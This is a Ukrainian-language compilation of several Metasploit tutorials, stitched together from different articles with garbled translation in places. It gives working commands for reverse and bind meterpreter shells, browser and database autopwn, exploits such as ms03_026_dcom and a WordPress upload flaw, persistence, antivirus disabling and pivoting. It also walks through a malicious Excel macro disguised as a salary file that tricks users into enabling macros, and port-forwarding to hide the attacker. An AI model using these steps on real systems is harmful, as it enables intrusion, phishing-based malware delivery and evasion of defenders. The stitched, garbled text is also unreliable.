Команди metasploit. Soft Початок роботи з Metasploit

З'явившись світ 7 років тому, MSF згодом із простого фреймворку для написання робочих сплоітів перетворився спочатку на якийсь «швейцарський ніж», а тепер – у цілу майстерню з проведення пентестів, включаючи все необхідне – від збору інформації до розвинених методів постекслуатації. Адже не дарма MSF входить до п'ятірки найбільш юзаємих тулз. І що тішить – MSF продовжує зростати та розвиватися! А в якому напрямку – дізнаєшся з цієї статті.

Спочатку в статті передбачалося описати можливості автоматизації дій в MSF, але, проаналізувавши знання народу про фреймворк, було вирішено розповісти про більш-менш просунуті вбудовані можливості його самого, а про їхню автоматизацію буде сказано по ходу. Це щоб люди не винаходили велосипеда:).

До речі, про знання. Не дивно, що їх не так багато, тому що всеосяжних статей/книг про Metasploit'е навіть на англійському немає. Так що основні нічки з інформацією - іноземні блоги, та індивідуальні дослідження. Плюс тішить, що Рубі – річ проста, і за чужими прикладами можна щось своє слушне зробити.
Але до діла! Все описане стосується останньої версії- MSF 3.4.2.

ГУІ повертається!

Для тих, хто не любить консоль або ліньки розбиратися з командами MSF, існує гуїшна оболонка на основі GTK. Точніше існувала, оскільки з версії 3.3 її забили. Якщо не помиляюся, те саме сталося і з msfweb. Тобто користуватись ще можна, але й так зі стабільністю були проблеми, а тут... ех!

Але під час підготовки статті трапилося добре – нова гуїшна оболонка. Вона змінилася і зовні, і усередині. Якщо точніше, вона написана на Java, тому кросплатформенна, і до того ж взаємодіє з MSF через XMLRPC інтерфейс, тобто можна використовувати її віддалено.

Запуск гуї робиться на дві стадії: стартуємо msfrpcd, коннектимося до нього через msfgui. Під ніксами запустивши msfgui можна просто натиснути «start new msfprcd»

Версія для Win:

  1. Запускаємо Cygwin консоль
  2. cd /msf3
  3. msfrpcd -S -U username -P password де -S - відключення SSL, і придумані логін/пас
  4. запускаємо msfgui.jar, який зберігається в %MSF%\msf3\data\gui або подвійним кліком, або консолі (не в cygwin'e): java –jar msfgui.jar

У msfgui вводимо логін/пас, порт, IP і коннектимся.

Дечого, навіть у порівнянні зі старою гуї, не вистачає. Наприклад, доступ до консолі або перегляд логів. Але працювати можна, особливо якщо потрібно по швидкому пробігтися сплойтами, модулями, полазити по чужому компу і т.д.

Збір інформації

Тобі має бути відомо, що MSF працює з базою даних для складування інформації, обміну їй між своїми модулями. І цей напрямок активно розвивається.

Для початку єдина повністю підтримувана БД – це PostgreSQL. Від SQLite відмовилися через питання продуктивності/масштабуемості, з MySQL теж щось гладко пішло. Взагалі, встановлення Postgres'у не повинно викликати проблем. Драйвер для взаємодії вшитий у MSF.

Під Win: ставимо, задаємо пас для користувача – postgres і порт.

Через pgAdmin: коннектимся до локального серваку, створюємо ще одного користувача "Ролі входу" (msf_user), створюємо БД в "Бази" (msf_db). Там же можна налаштувати сам SQL-сервак, зробивши його «безпечніше», та й полазити по таблицях MSF.

msf> db_driver postgresql
msf> db_connect msf_user: [email protected]:5432/msf_db

Тепер команда db_create не працює безпосередньо, можна лише коннектитися до існуючої БД, і, якщо є відповідні права (як у користувача postgres), база автоматично створиться. Інакше – створювати базу вручну у Postgres'і.

Але це не так страшно, адже можна користуватися workspace'ами. БД одна, таблиці самі, але модулі обмінюються/додають інфу лише у поточному спейсі. Спробуєш зрозумієш, db_workspace тобі на допомогу.

Трохи розберемося з командами:

  • db_service – виводиться інформація про порти/сервіси, проскановані або модулями, або вбудованим nmap'ом, або імпортована з сторонніх програм. На основі цього працює db_autopwn із параметром –p (по портах);
  • db_notes – «нотатки», типу версії ОС, отримані з Nmap, або якісь «подробиці», отримані WMap'ом. Жаль, але db_autopwn, схоже, не дивиться db_notes для вибору сплоїта.
  • db_vulns – уразливості, знайдені або модулями MSF(WMap), або імпортом із Nessus'а(OpenVAS), Nexpose. На основі цього працює db_autopwn з параметром -x (за вразливістю).

Для прикладу проскануємо хост nmap'ом і результати потраплять до нашої БД:

msf> db_nmap -PN -sV 192.168.0.101

Підсумок від модуля порт-сканера з MSF буде аналогічним, і дані також потраплять до БД. Ось тільки для визначення сервісів потрібно користуватися вже іншими модулями (всі aux-модулі з version на кінці в розділі scanner, наприклад, scanner/imap/imap_verison).

msf> use scanner/portscan/tcp
msf> set RHOSTS 192.168.0.101
msf> set PORTS 1-1000
msf> run -j

Щоб автоматизувати останні дії та й взагалі будь-які дії в MSF, можна скористатися так званими resource-файлами. По суті, це звичайні текстові файлики з послідовним перерахуванням команд для MSF. Наприклад, створимо ресурс для швидкого запуску"сервера" для реверсового meterpreter'а. Для цього пхнемо в файл (metrevhandl.rc) наступні команди:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 4444
set LHOST 192.168.0.102
exploit -j
back

Запускаємо наш скрипт за допомогою "resource":

msf> resource metrevhandl.rc

Як бачиш – дуже зручно. Але це ще не все. Найсолодше в тому, що в цих скриптах можна писати код на Рубі, що дозволяє нам, наприклад, встановити взаємини між окремими модулями MSF.

До речі, home/.msf3/msfconsole.rc – скрипт, який автоматично запускається під час старту msfconsole. У нього дуже зручно запхати коннект у БД, наприклад.

Входимо...

WMAP. WMAP – це спроба заточити MSF під веб-програми і якось автоматизувати всю цю справу. Проект WMAP поки що знаходиться на ранній стадії і працює не дуже добре, особливо в порівнянні зі своїми конкурентами. Навряд чи він буде розвиватися, принаймні, у своєму нинішньому вигляді, а причина в тому, що Rapid7 почала дуже щільно фінансувати опенсорсний w3af фреймворк, який і заточений під справи вебу, так що можна очікувати злиття нутрощів або функціоналу MSF і w3af. Але все ж таки невеликий приклад (потрібне підключення до БД):

1. Підвантажуємо плагін wmap:

msf> load db_wmap

2. Додаємо жертву:

msf> wmap_targets -a http://www.example.com/

3. Перегляд та запуск модулів проти нашої жертви:

msf> wmap_run -t
msf> wmap_run -e

Підсумки складаються в БД та доступні через db_vulns, db_notes.

Деякі модулі потребують налаштування параметрів. Це можна зробити за допомогою команди setg. Також у WMAP є павук (wmap_crawler) та можливість взаємодії з проксі (wmap_proxy).

Також любителям помучити бази даних різними інжектами рекомендую подивитися модуль MSF - scanner/http/sqlmap. Це порт однойменної тулзи – SQLmap. Річ, по ходу, сильна:). Інфу про тулзу можна почерпнути на сайті авторів – .

db_autopwn

Автопавнілка в MSF обзавелася парою корисних параметрів:

  • -R – вказує мінімальний ранк експлойту, який застосовуватиметься;
  • -m – задають регекспу вибору сплотов.

Наприклад:

msf> db_autopwn -t -p -m windows -R excellent

виведе список лише найкращих сплоїтів під стандартні Win-сервіси.

До речі, з версії 3.3.1 з Nexpose можна працювати прямо з MFS і відразу автоповніть на основі виявлених уразливостей.

1. Підвантажуємо плагін і підключаємося до Nexpose:

msf> load nexpose
msf> nexpose_connect msf_user: [email protected]

2. Запускаємо тільки найкращі сплоїти за знайденими вразливістю:

msf> nexpose_scan -R excellent -x 192.168.0.101

Browser_autopwn

Якщо попередня павичка була заточена за стандартними сплоїтами, то ця – під клієнтські, націлені на браузери жертв, що зрозуміло з назви.
По суті, цей модуль піднімає HTTP-сервер і на ньому піднімає всі сплоїти під браузери. Коли жертва заходить на наш сервак, модуль визначає версію браузера та ОС, після чого запускає відповідний сплоїт. Поки основною фічею модуля є точне визначення версії браузера/ОС. Використовуються як серверні, і клієнтські можливості (JavaScript) по детекту. Тобто обдурити модуль, підставивши інший User-Agent, точно не вдасться.

З наявних сплоїтів добре валяться олдскульні версії браузерів, але найприємніше в тому, що просто додавати свої сплоїти, а це вже сила. Безкоштовний сплоітпак виходить.

У майбутніх версіях обіцяють додати можливості по обфускації сплоїтів (щоб антивірами не палилося) та можливості щодо вибору навантажень.

Наприклад, створимо сервак з бекконнектом для шеллів 192.168.0.102:

msf> use server/browser_autopwn
msf> set LHOST 192.168.0.102
msf> set URI index.php
msf> exploit -j

VBA

У розділі EasyHack я вже писав про створення "троянів" за допомогою MSF, але посилати exe-файли - це дуже палевно. Користувачі нині стали полохливими і не відкривають усе, що потрапило, а там ще й попередження від вінди. Куди менш палевно застосовувати якісь офісні файли:

msfpayload windows/shell_bind_tcp LPORT=5555 V > macros.vba

Далі створюємо, наприклад, екселевський документик зі страшним ім'ям «Зарплата співробітників». Потім відкриваємо отриманий VBA, текст макросу (MACRO CODE) пишаємо в макрос документа (Сервіс -> Макрос -> Редактор VB), а наприкінці документа - наше "навантаження" (PAYLOAD DATA). На початок документа можна додати якісь розрахунки для краси. Оскільки макроси по дефолту відключені (з версії OfficeXP, як мені відомо), то рядком виду «Увага! Робота з базою можлива лише за включених макросах. Щоб їх увімкнути, зайдіть в «Сервіс –> Параметри –> Безпека –> Захист від макросів –> Низький» і перезапустіть документ», можна змусити користувача підключити макроси. У результаті - шелл на 5555 порту.

Сенсове навантаження

Насправді вибір навантаження (payload) до сплоїт – справа важлива. Але їх у MSF багато, так що я трохи пробігу по них (в основному по Win *), щоб з'явилося загальне розуміння. По-перше, є загальний поділ по ОСям, а так само ПЗ і інтерпретаторам, що підвантажуються (ruby, perl).

Загальний поділ за описом:

  • З позначкою «Inline» – це «цілікові» шовкоди. Вони великі, тому не завжди залазять до експлойтів;
  • "Stager" - навантаження, розділені на частини. У сплоїт потрапляє невеликий шовк, в основному для установки з'єднання, решта підвантажується при підключенні;
  • "Ord" - "заточені" навантаження. Маленькі за розміром, але прив'язані до статичним адресаму пам'яті системної DLL'ки;
  • «Bind» – відкриття порту та очікування з'єднання;
  • "Reverse" - бекконнект-шелл;
  • «Findport» – відбувається пошук сокету, через який працював експлойт, далі шел відкривається через нього. Пошук здійснюється за номером порту;
  • «Findtag» – аналогічно попередньому, лише визначення сокету ведеться за рахунок прослуховування всіх доступних в очікуванні приходу 4-байтового тега від хакера.;
  • «Exec, Download_exec, Up_exec» – шовк на запуск команди, скачку/закачування та запуск;
  • "VNC" - запускаємо VNC-сервер у жертви;
  • «dllinjection» – підвантаження DLL у пам'ять процесу. Інжект DLL є двох видів;
  • "metsvc" - повністю завантажує meterpreter жертві і прописує його як сервіс;
  • "PassiveX" - наш шелл виступає елементом ActiveX.
  • "NoNX" - шелкоди з обходом механізму захисту пам'яті DEP;
  • "DNS" - ті, що можуть працювати за іменами хостів, а не по IP;
  • «HTTPS» – шелл, який спілкується за шифрованим HTTPS-протоколом (шкода, без підтримки проксі).

Трохи зупинюся на PassiveX, оскільки вони дуже гарні.
Суть полягає в тому, що наш шелл прописується як елемент ActiveX, а взаємодія відбувається через приховану версію IE за протоколом HTTP. Це насправді круто, особливо, якщо ти ламаєш якусь корпоративну сітку, де всі сидять за NAT'ом та із загальним файрволом, що пропускає лише HTTP-трафік з корпоративного проксі-сервера. У такому разі жодне інше навантаження не допоможе, особливо якщо ти не знаєш налаштування для проксі. А тут – усі налаштування для проксі та аутентифікації на ньому (якщо вона є) вже прописані у IE.

Створимо навантаження і прослуховування під неї (192.168.0.102:443):

msfpayload windows/meterpreter/reverse_http PXHOST=192.168.0.102 PXPORT=443 PXURI=/ X > reflmeter102.exe

msf> use exploit/multi/handler
msf> exploit -p windows/meterpreter/reverse_http -o PXHOST=192.168.0.102,PXPORT=443,PXURI=/

Причому якщо раніше PassiveX працював тільки під IE6, то тепер все окей і з IE7/8.

Далі про звичайні шелли. Звичайний шелл - це, звичайно, добре, але якщо ти юзал meterpreter, то тобі захочеться до нього повернутися.
І тепер ми маємо таку можливість. Припустимо, у нашої жертви (192.168.0.101) вже повішений звичайний бинд-шелл на 5678 порту.

Коннектимося до нього з MSF:

msf> use exploit/multi/handler
msf> exploit -p windows/shell_bind_tcp -o RHOST=192.168.0.101,RPORT=5678

Хотілося б сказати, що наступною командою ми перетворюємо звичайний шелл на meterpreter, та не доля. MSF просто підвантажує бекконект meterpreter і, запустивши його, створює ще одну сесію (створюється ще одне з'єднання). Хоча це теж непогано. Але щоб усе працювало, нам треба встановити глобальні значення свого хоста (куди коннектитися реверсу), а потім уже «оновити» сесію (припустимо, вона у нас «1»):

msf> setg LHOST 192.168.0.102
msf> setg LPORT 6666
msf> sessions –u 1

У результаті позбавляємося купи напружень і обмежень звичайного шеллу.

До речі, про meterpreter'e. Його вже давно намагаються перенести на інші платформи (linux, Macos), але поки що там не все гладко. Але все-таки є гарні новини: у якомусь вигляді meterpreter було перенесено на PHP! У "якомусь", тому що не всі функції дозволяє реалізувати PHP, але основне вже доступно. Так що можна залити на завалений сервак і потішитися таким крутим шеллом.

Тепер поговоримо про власну «безпеку». Поки більшість модулів MSF не підтримують проксі, особливо це стосується бойових навантажень. Адже ми ж не хочемо, щоби нас вирахували:). Тому згадаємо олдскульну фічу – портфорвардинг.

Припустимо наш сервак з MSF, який чекає на бекконнект шеллів, знаходиться за адресою «192.168.0.103:5555». Тоді на підставному сервачку на 80 порту ми вішаємо netcat:

ncat --sh-exec “ncat 192.168.0.103 5555” –l 80 --keep-open

А в payload'ах ми прописуємо IP (або DNS) та порт підставного сервака.
До речі, netcat підтримує SSL, тому можна і зашифрувати трафік, якщо сам шелл цього не дозволяє.

Постексплуатація

Так, тепер переходимо до найсмачнішого – постекслуатації та meterpreter'у. Сподіваюся, ти знайомий з meterpreter'ом, тому як розповідати, наскільки він хороший (і слідів після себе майже не залишає, і працює в chroot'і) і функціональний (вбудовані хак-тулзи, модифікація реєстру та файлової системи, міграція за процесами та токенам, маршрутизація) у мене немає бажання:).

Припустимо, що ми отримали доступ до одного з комп'ютерів (192.168.146.129) в корпоративній мережі і ми (192.168.0.102) хочемо розвинути наш успіх - просканити підсітку і мати ще щось.

Додаємо маршрут (підсітка, її маска, сесія для маршрутизації) в msfconsol'і:

msf> route add 192.168.146.0 255.255.255.0 1

На жаль, nmap не захотів скористатися цим маршрутом – мабуть, не така глибока інтеграція поки що. Але звичайними модулями, сплоїтами та сканерами спокійно (тобто без будь-яких спецнастроїв) можна користуватися для розвитку атаки (див. малюнок) – всю маршуртизацію бере на себе MSF.

Так як у певних хостів може бути обмежений доступ у зовнішню мережу (де ми знаходимося), то для зв'язку з ними можна використовувати портфорвардинг на вже витраченій жертві, благо, meterpreter це вміє:

meterpreter> portfwd add -l 8008 -p 2222 -r 192.168.0.101

Тепер прописуємо в payload'ах сплоїтів LHOST=192.168.146.129, LPORT=8008, і все буде тип-топ.

Meterpreter має чудову можливість - автоматизація дій за допомогою рубі-скриптів. Це реально круто. Подивитися існуючі скрипти можна в msf3scriptsmeterpreter, під час юзанія - пишемо run і двічі Tab (для тих, хто не в темі:). Запускати скрипти можна або ручками через команду run, або вказавши змінну AutoRunScript або InitialAutoRunScript під час конфігурації навантаження/сервера. Друга змінна – виконується до запуску шелла, перша – після.

Скриптів, що входять у постачання, вже багато, із самого стандартного:

  • winenum - швиденько збирається вся інформація про систему від мережевих налаштуваньдо встановленого ПЗ та хешей;
  • persistence, metsvc – прописує meterpreter на автозапуск у реєстрі чи як сервіс;
  • getcountermeasure – відключає фаєр, може вбивати процеси різноманітних антивірусів та файрволів.

Замість ув'язнення

У статті я постарався описати щось нове (принаймні для російськомовних джерел) і при цьому про всі стадії злому, тож, сподіваюся, вона буде тобі корисна. До того ж, народилася пара геніальних ідей, які залишилося лише реалізувати, та знайшлося кілька бридких багів у MFS, які, я сподіваюся, будуть усунені до виходу номера. Загалом творити – це чудово!

Декілька підказок:

  • У msfconsol'і відмінно працює автодоповнення за допомогою натискання Tab, до того ж усі команди підтримують хелп параметром "-h".
  • Якщо хочеш призупинити виконання команди – Ctrl+C, відправити до бекграунду – Ctrl+Z.
  • Копіювання тексту в cygwin'і робиться за допомогою лівої/правої кнопки миші, вставка – Shift+Insert.
  • Під віндою доступом до інтерфейсів msfcli, msfpayload тощо. здійснюється через консоль cygwin. Але бажано добре потестити, тому що не всі функції можуть працювати адекватно.

Що таке метасплойт?

Метасплойт(а правильно говорити про метасплойт як про проект) – це саме проект в області комп'ютерної безпеки, спрямований на інформування користувачів (насамперед власників, розробників та адміністраторів) мереж та ресурсів про можливі вразливості в системі безпеки та допомагає у тестуванні систем та мереж з метою закриття надалі дірок у їх безпеці та захисту від . Для розробки метасплойтів існує спеціальне середовище під назвою Metasploit Framework. Остання вилилася в своєрідний підпроект, що є програмним середовищем або платформою для розробки та використання експлойтів на віддаленій машині. Питання використання платформи та застосування проекту в цілому досить слизьке, оскільки середовище, покликане до проведення дослідницької діяльності системних адміністраторівмережі в області захищеності мереж з успіхом використовується хакерами для розробки та впровадження нових експлойтів для отримання неавторизованого доступу до ресурсів.

Metasploit Frameworkз моменту винаходу в 2003 зазнала деяких змін, і до нас дійшла з вільно поширюваною ліцензією у безкоштовному та комерційному варіантах. В обидва варіанти включено багато готових експлойтів, які допоможуть впоратися з виявленням відомих уразливостей. Відмінно запускається на Unix і Windows системах, має кілька інтерфейсів на вибір користувача, зокрема у вигляді вікна браузера.

Як користуватись Metasploit Framework, або що вміє метасплойт? Основні кроки використання середовища.

Перед роботою в середовищі, звичайно, необхідно зібрати максимум інформації про комп'ютер, тому необхідно користуватися повним набороммережевих і , так що над вибором експлойту і пейлоуда доведеться попрацювати.

Де завантажити Metasploit Framework?

Та ось тут:

https://www.metasploit.com/download/

Але не поспішайте. Також платформа входить до складу деяких збірок систем, що вільно розповсюджуються, на безкоштовній та вільній ліцензії. З такою ми і знайомитимемося на сторінці блогу в розділі Лінукс. До складу бере участь у багатьох експериментах це середовище входить абсолютно безкоштовно.

Знайомство з поняттям Шел.

Залежно від типу експлойта, після того як екплойт втілитись в життя, ми матимемо справу або з віддаленим шеллом ( Remote shell) та метр-шеллом ( Meterpreter shell).

Віддалений шеллкомп'ютерна програмаз командного рядка(терміналу), яка може виконувати команди на віддаленому комп'ютері, ніби ви знаходилися за його клавіатурою. Це своєрідний віддалений Робочий стіл (так він називається Windows). Стандартний шелл застосовується у випадках, якщо хакер має намір виконувати на комп'ютері жертви стандартні команди. Однак якщо йдеться про комплексні маніпуляції в поточній сесії та виконання команд з додатковими прапорами, буде використано шелл Метерпретер.

З метр-шелломтрохи цікавіше. Meterpreter shellпропонує вже цілу купу готових програмних рішень. У тому числі утиліти та скрипти для збору інформації з віддаленого комп'ютера, інструменти контролю за пристроями типу мікрофон чи вебкамера тощо. І з розвитком технік злому інтерес до готових рішень, які тільки розростаються та вдосконалюються, дедалі більше. А тепер про описані вище кроки трохи докладніше.

Пошук та конфігурація експлойту

Маю на увазі, що ви вже в Калі. Запускаємо Метасплойт та даємо команду на відображення відомих експлойтів. Це команда

Термінал поверне інформацію щодо експлойтів в алфавітному порядку. Це не завжди зручно, тому пошук можна уточнити прапорами на пошук по:

  • словнику Загальних уразливостей та незакритих дірок у безпеці ( CVE ID). Можна відразу вказати бажаний рік:
search cve:2017

  • бюлетеню безпеки Майкрософт
search MS
  • прямо за бажаною програмою або виробником ПЗ або пристрою
search Netgear

  • і, вичепивши цікавеньке, отримати з цього приводу всю інформацію про вразливість, додавши перед вразливістю info(Посилання на ще більш докладну інфу з цього питання будуть у тому ж терміналі). Погляньте:

Там все є і чекає на ваш аналіз і застосування. Але перед тим, як перейти в конфігурації експлойту, візьмемо вразливість в обіг командою use

Або, повернувшись до одного з попередніх вікон, виявити до обладнання відповідний експлойт і його застосувати:

і одразу перевіримо, як його застосовувати та до чого прив'язати, використовуючи знайомий нам прапор infoу контексті експлойту:


Конфігурація експлойту: встановлення опцій

Направити метасплойт у потрібне русло нам допоможе команда set . Команда в msfнабуде вигляду

Set ім'я_змінної її_значення

Але щоб дізнатися, які змінні для експлойту існують, можна використати команду show options

Розділ Module optionsзнайомий нам по вікну команди з прапором info, показує, яку конфігурацію можна застосувати щодо вибору мети. Так, модуль відразу вказує на те, що есплойт застосовується проти вразливості із застосуванням цих обов'язкових опцій (готові до роботи виділені прапором). yes, ті, що на noвами ще не налаштовані). Тобто для здійснення експлойту пентестер зазначив:

  • адреса віддаленої системи ( RHOST)
  • віддалений порт 8080 ( RPORT)
  • як індетифікатор мети ( TARGETURI) – шлях до застосування в системі або шлях до обладнання жертви (наприклад, якщо атакується роутер, тут вказується повний шлях у вигляді адреси до вразливого файлу)

Завершимо картинку загалом. Запуск експлойту в нашому випадку набуде приблизно такого вигляду:

Exploit(netgear_nms_rce) use msf exploit(netgear_nms_rce) set RHOST 10.10.10.10 set RPORT 8080 set TARGETURI exploit -j

На вус команди, описані вище, мотати не потрібно. Детальніше інформація буде дана пізніше.

Вибір та формування пейлоуду

Навіщо нам доступ до чужого комп'ютера, якщо ми там нічого не наробимо? І для цієї мети знадобиться пейлоуд. Стосовно теми метасплойту, пейлоуд - саме та частина шкідливого програмного забезпечення, спрямованого на зміну функціоналу системи У той час, як інша частина програми-шкідливості може бути спрямована на додаткові функції (наприклад, копіювання та тиражування самого себе; мова йде про комп'ютерний вірус). Як розумієте, пейлуд можна вичленяти в окремий код і використовувати у різних варіантах.

Працюючи в середовищі Metasploit, можна подивитися на готові варіанти пейлоудів стосовно вибраних експлойтів. Це робиться командою

Show payloads

у вибраному вами варіанті експлойта. Ще варіант – у вибраному експлойті пишемо

Set payload

і закріплюємо, двічі натиснувши клавішу Tаb. Metasploit запитає, чи не хочете ви переглянути всіх… Пейлоудів. І зазвичай термінал Metasploit-а виводить інформацію з пейлоудів у форматі Operating System/Shell TypeОпераційна система/Тип шеллу. Наприклад

Set payload/windows/shell_reverse_tcp

Залишається вибрати потрібну ОСь і тип пейлоуда, що сподобався. Найпопулярніші типи пейлоудів це і є шелли, про які ми говорили вище (віддалений йшов і метерпретер йшов або метер-Шел).

Вибір пейлоудів із кешу середовища дуже широкий. Так само як і вибір коштів, за допомогою яких система жертви "зливатиме" хакеру потрібну інформацію. Типові шелли з основою reverse_tcpз команди вище для того і існують: виконуючись на віддаленій системі, вони повідомляють зловмиснику дані, часто не викликаючи підозр у системного фаєрволу.

Поки все. Успіхів

Metasploit Exploitation Framework– це інструмент для тестування на проникнення. Він містить велику базу експлойтів, що дозволяє використовувати їх прямо з Metasploit. Існує дві версії Metasploit, на цьому уроці я розглядаю безкоштовну версію.

searchsploit- Це інструмент для пошуку експлойтів. Містить базу, за моїми спостереженнями, більшу, ніж Metasploit. Але не містить функції використання експлойтів.

Про всяк випадок, розберемося з термінологією. Експлойт – це готова програма, яка, використовуючи конкретну вразливість, автоматизує процес проникнення чи підвищення прав чи іншу несанкціоновану дію, що є наслідком вразливості.

Обидві програми не складні, але треба знати, що і як робити. Обидві ці програми включені до Kali Linux"з коробки". Тому, можливо, вас також зацікавлять статті: Я розглядатиму роботу з цими програмами в Kali LinuxАле насправді ці утиліти можна встановити на будь-який Linux.

searchsploit

Це програма лише для пошуку відомих експлойтів. Щоб вивести довідку по ній, наберіть у командному рядку:

Searchsploit -h

Все просто як 5 копійок:
Ключ -cдля виконання чутливого до регістру пошуку.

Ключ -vдля докладного виведення лінії з описом можуть переповнювати їх колонки.

На мою думку, обидві опції не несуть нічого цікавого. Для пошуку просто набираєте searchsploit і ключові слова (можна кілька), розділені пробілом:

Searchsploit phpmyadmin


Searchsploit wordpress

Думаю, ідея зрозуміла. Можете шукати за конкретними додатками (та їх версіями), операційними системами, плагінами і т.д.

Давайте подивимося на висновок: є файли наступних типів: .c, .pl, .txt, .sh, .php, .rb, .py, .zip, .java, .asm, .htmта ін.

Файли із розширенням .txtможна тільки читати – відкривайте його будь-яким блокнотом і читай про вразливість. Вміст цих файлів, зазвичай, такий: опис вразливості, приклад використання, джерело, інформація про схильні до вразливості версіях і т. д.

Файли із розширенням .rbнаписані на мовою Ruby, Запускати їх потрібно так:

Ruby + пропуск + розташування файлу.

Приклад:

Ruby /usr/share/exploitdb/platforms/php/webapps/28126.rb

Деякі файли.rb висмикнуті з Metasploit. Якщо при звичайному запуску програма скаржиться на відсутність чогось, а код програми зустрічається рядок

Require "msf/core"

то найпростіший спосіб запуску - знайти цей же плагін у Metasploit і запустити його звідти

Файли .cпотрібно компілювати.

Файли .phpзапускати із командного рядка. При чому, якщо Ruby може виводити діалогові вікнадля введення даних, то в PHP потрібно відразу задавати необхідні аргументи в командному рядку через пробіли після імені файлу (ну або прописувати код скрипту, якщо це передбачено).

Наприклад

Php /usr/share/exploitdb/platforms/php/webapps/35413.php сайт Alexey 50

Файли .plнаписані мовою Perl, перед ім'ям файлу, для запуску потрібно ставити perl. Аргументи передаються у командному рядку (або вписуються у вихідний код) як і з PHP.

Думаю, з пошуком все дуже просто. З конкретним застосуванням залежить від конкретного експлойту. Переходимо до Metasploit.

Metasploit

Програма Metasploit розташована у меню у двох місцях. Найшвидший спосіб - це знайти її серед 10 самих популярних додатків. Там вона називається Metasploit Framework. Запуск щоразу займає якийсь час, тому просто чекаємо:

Якщо програма пише вам щось про базу даних і про повільний пошук, скористайтеся . А також можете вручну перезбирати кеш:

MSF > db_rebuild_cache

Для пошуку наберіть search + пробіл + ключові слова. Наприклад:

Msf > search wordpress

Розширте вікно терміналу, як це я зробив, інакше нічого незрозуміло.

У висновку має бути все зрозуміло: перший стовпець - розташування експлойту, другий - дата, третій - ранг (наскільки добрий середньостатистичний результат), четвертий - короткий опис.

Думаю, хакери не люблять WordPress за його автооновлення, тому що всі відомі вразливості протухають першого ж дня.

Я вибрав, наприклад, цей:

Exploit/unix/webapp/wp_downloadmanager_upload 2014-12-03 excellent WordPress Download Manager (download-manager) Unauthenticated File Upload

Потрібно скопіювати його розташування - exploit/unix/webapp/wp_downloadmanager_upload

І тепер набираємо команду use і після пробілу розташування експлойту.

Msf > use exploit/unix/webapp/wp_downloadmanager_upload

Зверніть увагу, що рядок привітання змінився на:

Тепер набираємо:

(Працює для всіх експлойтів - відображає варіанти настоянки).

Як мінімум, нам потрібно задати віддалений хост. Усі налаштування виконуються через команду set

Наприклад:

Set RHOST сайт

У цьому експлойті можна більше нічого не змінювати. Але зверніть увагу на TARGETURI. В окремих експлоїтах, наприклад, для phpMyAdmin цей параметр спочатку заданий як phpmyadmin і якщо цільовий скрипт знаходиться в іншому каталозі, то експлойт просто не знайде адресу.

Для початку виконання експлойту наберіть

Думаю, загальні принципироботи зрозумілі.

Порекомендую ще одну команду, щоб було зрозуміло, в який бік потрібно копати, для чого шукати експлойти, які порти відкриті і для яких служб і т.д. nmap Огляд розділів інструментів Kali Linux 1.0.9a. Частина 2. Інструменти для збирання інформації”.

Заключні слова

Скажу чесно, бази експлойтів мене розчарували: я стежу за оновленнями найпопулярніших веб-додатків (phpMyAdmin, WordPress, Drupal і т. д.) і за останні місяці в списках змін з'являлося багато закритих вразливостей. Під більшість із них я не знайшов експлойтів. Можливо, це стосується лише експлойтів для веб-застосунків. Цілком можливо, що для операційних системта програм все набагато цікавіше. Відсутність у паблиці експлойтів на свіжі версії популярних веб-додатків я пов'язую з тим, що: а) не так вже й просто потенційну вразливість розкрутити хоча б до працюючого концепту; б) найцікавіші експлойти зібрані у закритих базах, можливо, доступних за плату або лише для певного кола осіб.

Оригінал: Penetration Testing with Metasploit Framework
Автор: Dinesh Shetty
Дата публікації: липень 2011 р.
Переклад: В. Семененко
Дата перекладу: липень 2011 р.

Вступ

Напевно, коли я вимовляю - "Інструмент для пентестингу" ("Penetration Testing tool"), перше, що спадає вам на думку при згадці цих словосполучень - ім'я . І не дивно! Цей проект є одним з найбільших у світі, написаних мовою Ruby. Сумарна кількість його рядків перевищує 700 000! На сьогодні є стандартом де-факто для пентестингу та пошуку вразливостей. Кількість щорічних завантажень екземплярів програми зашкалює за один мільйон. Проект також має найбільшу у світі загальнодоступну базу даних для перевірених та якісних експлоїтів.

У консолі msfconsole наберемо команду search dcerpc для пошуку всіх експлоїтів, імена яких відповідає шаблону dcerpc . Всі вони можуть застосовуватися для отримання доступу до сервера, використовуючи вразливість порту 135. Як тільки ми наберемо у рядку цю команду, отримаємо список всіх експлоїтів у вікні msfconsole, як показано на скріншоті Figure3.

Крок 4:

Тепер, коли ми маємо перед очима список rpc-експлоїтів, нам потрібна більше повна інформаціяпо кожному з них, перш ніж застосуємо його на практиці. Для отримання докладного описуконкретного сплоїту, скористаємося командою info exploit/windows/dcerpc/ms03_026_dcom. Що в результаті ми отримаємо? Опис можливих цілей; вимоги експлоїту; детальний опис самої вразливості, що використовується цим есплоїтом; а також посилання, де ми можемо знайти докладнішу інформацію.

Крок 5:

У загальному випадкузапуск команди use запускає оточення зазначеного експлоїту. У нашому випадку ми будемо використовувати команду use exploit/windows/dcerpc/ms03_026_dcom для запуску цього сплоїту.

Як видно на скріншоті Figure4, після запуску експлоїту командою exploit/windows/dcerpc/ms03_026_dcom підказка командного рядка змінилася з msf > msf exploit(ms03_026_dcom) > . Це означає, що ми перейшли до тимчасового оточення цього експлоїту.

Крок 6:

Тепер нам необхідно відредагувати конфігураційний файл сплоїта, як вимагає поточний сценарій. Команда show options покаже нам різні параметри, які потрібні для запущеного експлоїту. У нашому випадку опції RPORT вже встановлено значення 135 . Нам залишилося лише задати значення параметра RHOST, яке виконується командою set RHOST .

Вводимо в командному рядку set RHOST 192.168.42.129 і бачимо результат - IP-адресу віддаленого хоста виставлено саме на 192.168.42.129., як на скріншоті.

Крок 7:

Останнє, що нам залишилося зробити, перш ніж запустити експлоїт - встановити платіоload для нього. Всі доступні варіанти payload"ів можна побачити за допомогою команди show payloads.

Як видно на скріншоті, команда show payloads покаже нам усі payload"и, які сумісні з вибраним нами сплоїтом. Для нашого випадку ми використовуємо запасний tcp meterpreter, задавши його командою set PAYLOAD windows/meterpreter/reserve_tcp, що запустить командну оболонку. якщо до нього буде успішно отримано доступ. Зараз нам потрібно знову запустити команду show options для того, щоб переконатися, що всі обов'язкові для заповнення поля мають відповідні значення.

Зверніть увагу, що параметр LHOST для payload"а не встановлений. Так що нам потрібно встановити локальну IP-адресу (наприклад, 192.168.42.128) командою set LHOST 192.168.42.128 .

Крок 8:

Тепер, коли все готове та експлоїт відконфігуровано належним чином, настав час запустити його.

